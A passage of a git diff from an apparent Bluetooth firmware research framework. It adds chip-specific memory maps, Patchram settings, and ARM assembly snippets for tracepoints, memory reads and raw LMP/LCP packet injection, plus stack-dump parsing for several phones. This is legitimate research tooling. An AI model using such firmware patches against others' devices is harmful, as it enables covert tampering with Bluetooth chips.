mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
bl 0x6cfe2 // hci_allocateEventBlockWithLen(0xff, 78) #DONE
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'TRACE_') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x43415254 // 'TRAC'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f45 // 'E_'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the register values
// store pc
str r6, [r0] // r6 still contains the address of the original pc
add r0, 4 // advance the pointer.
// store sp
mov r1, 56 // 14 saved registers * 4
add r1, sp
str r1, [r0]
add r0, 4 // advance the pointer.
// store status register
str r5, [r0]
add r0, 4 // advance the pointer.
// store other registers
mov r1, sp
mov r2, 56
bl 0x2774 // memcpy(dst, src, len) #DONE
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x6cfa8 // hci_sendEvent #DONE
// restore status register
msr cpsr_f, r5
bl 0x6af24 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent #DONE
// not possible... could not find patch_uninstallPatchEntry(slot)
// -> disable TP by hand, we stored in r9
// TODO - does not work??
delete_slot:
mov r0, #0
mov r1, r0
lsl r0, r0, #0x2
ldr r3, =0x00310404
sub.w r0, r0, #0x400
add r3, #0x3c
add r0, r3
movw r2, #0xffff
str r2, [r0, #0x0]
ldr r0,=0x00310404
add r0, #0x2c
ldr r2, [r0,#0x0]
mov r3, #0x1
lsl r3, r1
bic r2, r3
str r2, [r0, #0x0]
mov lr, r8 // restore lr from r8
bx lr // return
.align
patchram:
.byte 0x04
.byte 0x04
.byte 0x31
.byte 0x00
"""
+28 -5
View File
@@ -49,8 +49,8 @@ class MemorySection:
SECTIONS = [ MemorySection(0x0, 0x90000, True , False), SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
MemorySection(0xd0000, 0xd8000, False, True ), MemorySection(0xd0000, 0xd8000, False, True ),
#MemorySection(0xe0000, 0x1f0000, True , False), #MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x228000, False, True ), MemorySection(0x200000, 0x21ffff, False, True ),
MemorySection(0x260000, 0x268000, True , False), #MemorySection(0x260000, 0x268000, True , False), # might crash? issue 14
#MemorySection(0x280000, 0x2a0000, True , False), #MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False), MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False), MemorySection(0x324000, 0x360000, False, False),
@@ -63,9 +63,9 @@ SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
] ]
# Connection Structure and Table # Connection Structure and Table
#CONNECTION_ARRAY_ADDRESS = 0x204ba8 #CONNECTION_LIST_ADDRESS = 0x204ba8
#CONNECTION_MAX = 11 CONNECTION_MAX = 11
#CONNECTION_STRUCT_LENGTH = 0x150 CONNECTION_STRUCT_LENGTH = 0x150 # TODO
# Patchram # Patchram
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204 PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
@@ -73,3 +73,26 @@ PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000 PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
PATCHRAM_NUMBER_OF_SLOTS = 128 PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = False PATCHRAM_ALIGNED = False
# Heap
BLOC_HEAD = 0x200588 # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
# Snippet for sendLcpPacket()
SENDLCP_CODE_BASE_ADDRESS = 0x21a000
SENDLCP_ASM_CODE = """
push {r4,lr}
// we want to call lmulp_sendLcp(conn_index, input, length)
mov r0, %d // connection index, starts at 0
ldr r1, =payload
mov r2, %d // length
bl 0x8389A // lmulp_sendLcp
pop {r4,pc} // go back
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
+45
View File
@@ -0,0 +1,45 @@
# fw_0x420e.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# Evaluation Kit CYW20706
FW_NAME = "CYW20706"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x000c7fff, True, False), # Internal ROM
MemorySection(0x000d0000, 0x000dffff, False, True ),
MemorySection(0x00200000, 0x00247fff, False, True), # Internal Memory Cortex M3
]
# Patchram
#PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
#PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
#PATCHRAM_VALUE_TABLE_ADDRESS = 0x0d0000
#PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = True
# only seems to work 4-byte aligned here ...
+1 -1
View File
@@ -24,7 +24,7 @@ from fw import MemorySection
# Firmware Infos # Firmware Infos
# Evaluation Kit CYW920819 # Evaluation Kit CYW920819
FW_NAME = "CYW20819" FW_NAME = "CYW20819A1"
# Memory Sections # Memory Sections
+83
View File
@@ -0,0 +1,83 @@
# fw_0x420e.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# iPhone 6
FW_NAME = "BCM4345B0"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x000c07ff, True, False), # Internal ROM
MemorySection(0x000d0000, 0x000dffff, False, True), # Internal Memory Patchram Contents
MemorySection(0x00200400, 0x00201cff, False, True), # Internal Memory Cortex M3
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000 # needs to be aligned read
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = True
# Assembler snippet for the readMemAligned() function
READ_MEM_ALIGNED_ASM_LOCATION = 0x215000 # there is nothing free until 0xdffff, but 0x215000 looks okay during runtime
READ_MEM_ALIGNED_ASM_SNIPPET = """
push {r4, lr}
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, %d // readMemAligned() injects the number of bytes it wants to read here
add r1, 6 // + type and length + 'READ'
bl 0x15DD4 // hci_sendEvent (will automatically copy event code and length into the buffer)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'READ') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x44414552 // 'READ'
str r1, [r0]
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
// copy data to buffer
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
loop:
ldr r3, [r1] // read 4 bytes from the read_address
str r3, [r0] // store them inside the HCI buffer
add r0, 4 // advance the buffer pointer
add r1, 4 // advance the read_address
subs r2, 1 // decrement the loop variable
bne loop // branch if r2 is not zero yet
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x573B8 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x581AE // osapi_blockPoolFree
pop {r4, pc} // return
"""
+47
View File
@@ -0,0 +1,47 @@
# fw_0x420e.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# Samsung Galaxy S8
FW_NAME = "BCM4347B0"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x00100000, True, False), # Internal ROM
MemorySection(0x00130000, 0x00150000, False, True), # Internal Memory Patchram Contents
MemorySection(0x00200000, 0x0023ffff, False, True), # Internal Memory Cortex M3
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x130000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# Heap
BLOC_HEAD = 0x20067C # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
+41
View File
@@ -0,0 +1,41 @@
#!/usr/bin/env python2
#
# fw_0x220e.py
#
# Firmware file for BCM20702A1 chipsets. These chipsets are typically used for
# Bluetooth USB dongles.
#
# Copyright (c) 2019 Jan Ruge and Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
FW_NAME = "BCM20702A2"
# Device Infos
#DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
#BD_ADDR = 0x280CA4 # rm_deviceBDAddr
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x5ffff, True, False), # Internal ROM
MemorySection(0x80000, 0x9bfff, False, True), # Internal RAM
]
BLOC_HEAD = 0x3166c
+4 -4
View File
@@ -23,8 +23,8 @@
from fw import MemorySection from fw import MemorySection
# Firmware Infos # Firmware Infos
# Evaluation Kit CYW927035 # Evaluation Kit CYW920735
FW_NAME = "CYW27035B1" FW_NAME = "CYW20735B1"
# Device Infos # Device Infos
DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
@@ -149,8 +149,8 @@ FUZZLMP_ASM_CODE = """
# Assembler snippet for tracepoints # Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions # In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
TRACEPOINT_BODY_ASM_LOCATION = 0x00218950 TRACEPOINT_BODY_ASM_LOCATION = 0x00218500
TRACEPOINT_HOOKS_LOCATION = 0x00218900 TRACEPOINT_HOOKS_LOCATION = 0x00218700
TRACEPOINT_HOOK_SIZE = 40 TRACEPOINT_HOOK_SIZE = 40
TRACEPOINT_HOOK_ASM = """ TRACEPOINT_HOOK_ASM = """
push {r0-r12, lr} // save all registers on the stack (except sp and pc) push {r0-r12, lr} // save all registers on the stack (except sp and pc)
+78 -3
View File
@@ -23,8 +23,9 @@
from fw import MemorySection from fw import MemorySection
# Firmware Infos # Firmware Infos
# Evaluation Kit CYW927019 # Evaluation Kit CYW920719
FW_NAME = "CYW27039B1" FW_NAME = "CYW20739B1 (NOT iPhone X/XR!)"
# TODO this is not the iPhone firmware, we need to add a switch in fw.py
# Device Infos # Device Infos
DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
@@ -46,8 +47,82 @@ SECTIONS = [ MemorySection(0x00000000, 0x001fffff, True, False), # Internal R
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000 PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404 PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000 PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
PATCHRAM_NUMBER_OF_SLOTS = 192 PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ... # only seems to work 4-byte aligned here ...
# Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
TRACEPOINT_BODY_ASM_LOCATION = 0x00223100
TRACEPOINT_HOOKS_LOCATION = 0x00223200
TRACEPOINT_HOOK_SIZE = 40
TRACEPOINT_HOOK_ASM = """
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
mov r0, %d // addTracepoint() injects the patchram slot of the hook patch
bl 0x34964 // patch_uninstallPatchEntry(slot)
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
pop {r0-r12, lr} // restore registers
// branch back to the original instruction
b 0x%x // addTracepoint() injects the address of the tracepoint
"""
TRACEPOINT_BODY_ASM_SNIPPET = """
mov r8, lr // save link register in r8
// dump registers like before
// save status register in r5
mrs r5, cpsr
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
bl 0xF7B6 // hci_allocateEventBlockWithLen(0xff, 78)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'TRACE_') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x43415254 // 'TRAC'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f45 // 'E_'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the register values
// store pc
str r6, [r0] // r6 still contains the address of the original pc
add r0, 4 // advance the pointer.
// store sp
mov r1, 56 // 14 saved registers * 4
add r1, sp
str r1, [r0]
add r0, 4 // advance the pointer.
// store status register
str r5, [r0]
add r0, 4 // advance the pointer.
// store other registers
mov r1, sp
mov r2, 56
bl 0xAF0BC // memcpy(dst, src, len)
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0xF782 // hci_sendEvent
// restore status register
msr cpsr_f, r5
bl 0x2D702 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent
mov lr, r8 // restore lr from r8
bx lr // return
"""
+41
View File
@@ -0,0 +1,41 @@
# fw_0x420e.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# iPhone 8/X/XR
FW_NAME = "BCM4347B1"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x00103fff, True, False), # Internal ROM
MemorySection(0x00130000, 0x0014ffff, False, True), # Internal Memory Patchram Contents
MemorySection(0x00200000, 0x0024ffff, False, True), # Internal Memory Cortex M3
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x130000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
+6
View File
@@ -46,3 +46,9 @@ SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
MemorySection(0x650000, 0x650800, False, False), MemorySection(0x650000, 0x650800, False, False),
#MemorySection(0x680000, 0x800000, False, False) #MemorySection(0x680000, 0x800000, False, False)
] ]
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
PATCHRAM_NUMBER_OF_SLOTS = 192
PATCHRAM_ALIGNED = False
+19 -1
View File
@@ -79,7 +79,25 @@ PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = True #use readMemAligned, not accessible via ReadRAM HCI command on Nexus 5 PATCHRAM_ALIGNED = True #use readMemAligned, not accessible via ReadRAM HCI command on Nexus 5
# Snippet for sendLmpPacket() # Snippet for sendLcpPacket()
SENDLCP_CODE_BASE_ADDRESS = 0x00211900
SENDLCP_ASM_CODE = """
push {r4,lr}
// we want to call lmulp_sendLcp(conn_index, input, length)
mov r0, %d // connection index, starts at 0
ldr r1, =payload
mov r2, %d // length
bl 0x66760 // lmulp_sendLcp
pop {r4,pc} // go back
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
# Snippet for sendLmpPacketLegacy()
SENDLMP_CODE_BASE_ADDRESS = 0xd7500 SENDLMP_CODE_BASE_ADDRESS = 0xd7500
SENDLMP_ASM_CODE = """ SENDLMP_ASM_CODE = """
push {r4,lr} push {r4,lr}
+22
View File
@@ -72,3 +72,25 @@ PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000 PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
PATCHRAM_NUMBER_OF_SLOTS = 128 PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = False PATCHRAM_ALIGNED = False
# Heap
BLOC_HEAD = 0x200490 # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
# Snippet for sendLcpPacket()
SENDLCP_CODE_BASE_ADDRESS = 0x21f000
SENDLCP_ASM_CODE = """
push {r4,lr}
// we want to call lmulp_sendLcp(conn_index, input, length)
mov r0, %d // connection index, starts at 0
ldr r1, =payload
mov r2, %d // length
bl 0x92062 // lmulp_sendLcp
pop {r4,pc} // go back
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
+43
View File
@@ -0,0 +1,43 @@
# fw_0x617e.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# iPhone 6
FW_NAME = "BCM4345B0"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x000c07ff, True, False), # Internal ROM
MemorySection(0x000d0000, 0x000dffff, False, True), # Internal Memory Patchram Contents
MemorySection(0x00200400, 0x00201cff, False, True), # Internal Memory Cortex M3
]
# Patchram
#PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000 #TODO needs to be aligned read
#PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
#PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
#PATCHRAM_NUMBER_OF_SLOTS = 128
#PATCHRAM_ALIGNED = True
# only seems to work 4-byte aligned here ...
+43
View File
@@ -0,0 +1,43 @@
# fw_0x420e.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# iPhone SE
FW_NAME = "BCM4345C1"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x000c07ff, True, False), # Internal ROM
MemorySection(0x000d0000, 0x000dffff, False, True), # Internal Memory Patchram Contents
MemorySection(0x00200400, 0x00201cff, False, True), # Internal Memory Cortex M3
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
+1 -12
View File
@@ -31,16 +31,5 @@ FW_NAME = "default (unknown firmware)"
# start, end, is_rom? is_ram? # start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x0, 0x90000, True , False), SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
MemorySection(0xd0000, 0xd8000, False, True ), MemorySection(0xd0000, 0xd8000, False, True ),
#MemorySection(0xe0000, 0x1f0000, True , False), MemorySection(0x200000, 0x228000, False, True )
MemorySection(0x200000, 0x228000, False, True ),
MemorySection(0x260000, 0x268000, True , False),
#MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
#MemorySection(0x680000, 0x800000, False, False)
] ]
+52 -2
View File
@@ -214,7 +214,7 @@ class HCI_Cmd(HCI):
0x0c6c : "COMND Read_LE_Host_Support", 0x0c6c : "COMND Read_LE_Host_Support",
0x0c6d : "COMND Write_LE_Host_Support", 0x0c6d : "COMND Write_LE_Host_Support",
0x0c6e : "COMND Set_MWS_Channel_Parameters", 0x0c6e : "COMND Set_MWS_Channel_Parameters",
0x0c6f : "COMND Set_ External_Frame_Configuration", 0x0c6f : "COMND Set_External_Frame_Configuration",
0x0c70 : "COMND Set_MWS_Signaling", 0x0c70 : "COMND Set_MWS_Signaling",
0x0c71 : "COMND Set_MWS_Transport_Layer", 0x0c71 : "COMND Set_MWS_Transport_Layer",
0x0c72 : "COMND Set_MWS_Scan_Frequency_Table", 0x0c72 : "COMND Set_MWS_Scan_Frequency_Table",
@@ -937,8 +937,10 @@ class StackDumpReceiver:
self.handleNexus6pStackDump(hcipkt) self.handleNexus6pStackDump(hcipkt)
if hcipkt.data[0:4] == p32(0x039200f7): if hcipkt.data[0:4] == p32(0x039200f7):
self.handleNexus5StackDump(hcipkt) self.handleNexus5StackDump(hcipkt)
# same header for S10 and evaluation board...
if hcipkt.data[0:2] == p16(0x031b): # generated by bthci_event_vs_initializeCoredumpHdr() if hcipkt.data[0:2] == p16(0x031b): # generated by bthci_event_vs_initializeCoredumpHdr()
self.handleEvalStackDump(hcipkt) self.handleEvalStackDump(hcipkt)
self.handleS10StackDump(hcipkt)
def verifyChecksum(self, data): def verifyChecksum(self, data):
@@ -955,6 +957,7 @@ class StackDumpReceiver:
if self.memdump_addr == None: if self.memdump_addr == None:
self.memdump_addr = addr self.memdump_addr = addr
self.memdumps[addr-self.memdump_addr] = data[4:] self.memdumps[addr-self.memdump_addr] = data[4:]
log.debug("Stack dump handling addr %08x", addr-self.memdump_addr)
def finishStackDump(self): def finishStackDump(self):
dump = fit(self.memdumps) dump = fit(self.memdumps)
@@ -1067,7 +1070,7 @@ class StackDumpReceiver:
'\n'.join([hex(x) for x in values]))) '\n'.join([hex(x) for x in values])))
if data[0] == '\x02': if data[0] == '\x02':
# This is the second stack dump event (contains register values) # This is the second stack dump event (contains register values)
log.warn("Received Stack-Dump Event (contains %d registers):" % (u8(data[1]))) log.warn("Received Evaluation Stack-Dump Event (contains %d registers):" % (u8(data[1])))
registers = "pc: 0x%08x lr: 0x%08x sp: 0x%08x r0: 0x%08x r1: 0x%08x\n" % \ registers = "pc: 0x%08x lr: 0x%08x sp: 0x%08x r0: 0x%08x r1: 0x%08x\n" % \
(values[2], values[3], values[1], values[4], values[5]) (values[2], values[3], values[1], values[4], values[5])
registers += "r2: 0x%08x r3: 0x%08x r4: 0x%08x r5: 0x%08x r6: 0x%08x\n" % \ registers += "r2: 0x%08x r3: 0x%08x r4: 0x%08x r5: 0x%08x r6: 0x%08x\n" % \
@@ -1089,4 +1092,51 @@ class StackDumpReceiver:
self.finishStackDump() self.finishStackDump()
return True return True
# On a Raspberry Pi 3, the last packet of a stack dump is '1b0340df0338'.... so it's 0x40
elif packet_type == 0xe8:
# FIXME Raspi memdump is divided in two parts!
# address change from 0001fe38 to packet type e8 and then it's computing addr -0130000
# negative addr does not work with finishStackDump()
# so even though the last packet is 0x40, let's just finish on 0xe8
log.info("End of first stackdump block, writing to file and skipping second...")
self.finishStackDump()
return True
return False
def handleS10StackDump(self, hcipkt):
"""
Packets in stack dump:
1b 03 90: contains pc and r0
1b 03 9c
1b 03 00 (x3)
1b 03 f0 (whole ram)
"""
checksum_correct = self.verifyChecksum(hcipkt.data[3:])
packet_type = u8(hcipkt.data[2])
if packet_type == 0x90:
data = hcipkt.data[4:]
values = [u32(data[i:i+4]) for i in range(0, 64*2, 4)]
log.debug("Stack Dump (%s):\n%s" % ("checksum correct" if checksum_correct else "checksum NOT correct",
'\n'.join([hex(x) for x in values])))
# Values different than in other stack dump formats, experimental output!
log.warn("Received S10 Stack-Dump Event (contains %d registers):" % (u8(data[1])))
registers = "pc: 0x%08x lr: 0x%08x sp: 0x%08x r0: 0x%08x r1: 0x%08x\n" % \
(values[16], values[17], values[23], values[19], values[20])
registers += "r2: 0x%08x r3: 0x%08x r4: 0x%08x r5: 0x%08x r6: 0x%08x\n" % \
(values[21], values[22], values[23], values[24], values[25])
log.warn(registers)
return True
# log.info("%x" % u32(hcipkt.data[8:12]))
# no last packet for S10e, just the size counts here... also is sometimes longer and sometimes shorter
if packet_type == 0xf0 and u32(hcipkt.data[8:12]) == 0x230080:
# This is the last pkt ouput:
self.finishStackDump()
return True
return False return False
+7 -1
View File
@@ -30,6 +30,8 @@ class HCICore(InternalBlue):
def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory="."): def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory="."):
super(HCICore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory) super(HCICore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory)
self.btsnooplog_file_lock = threading.Lock() self.btsnooplog_file_lock = threading.Lock()
self.serial = False
self.doublecheck = False
def getHciDeviceList(self): def getHciDeviceList(self):
""" """
@@ -182,6 +184,10 @@ class HCICore(InternalBlue):
record_data = self.s_snoop.recv(1024) record_data = self.s_snoop.recv(1024)
except socket.timeout: except socket.timeout:
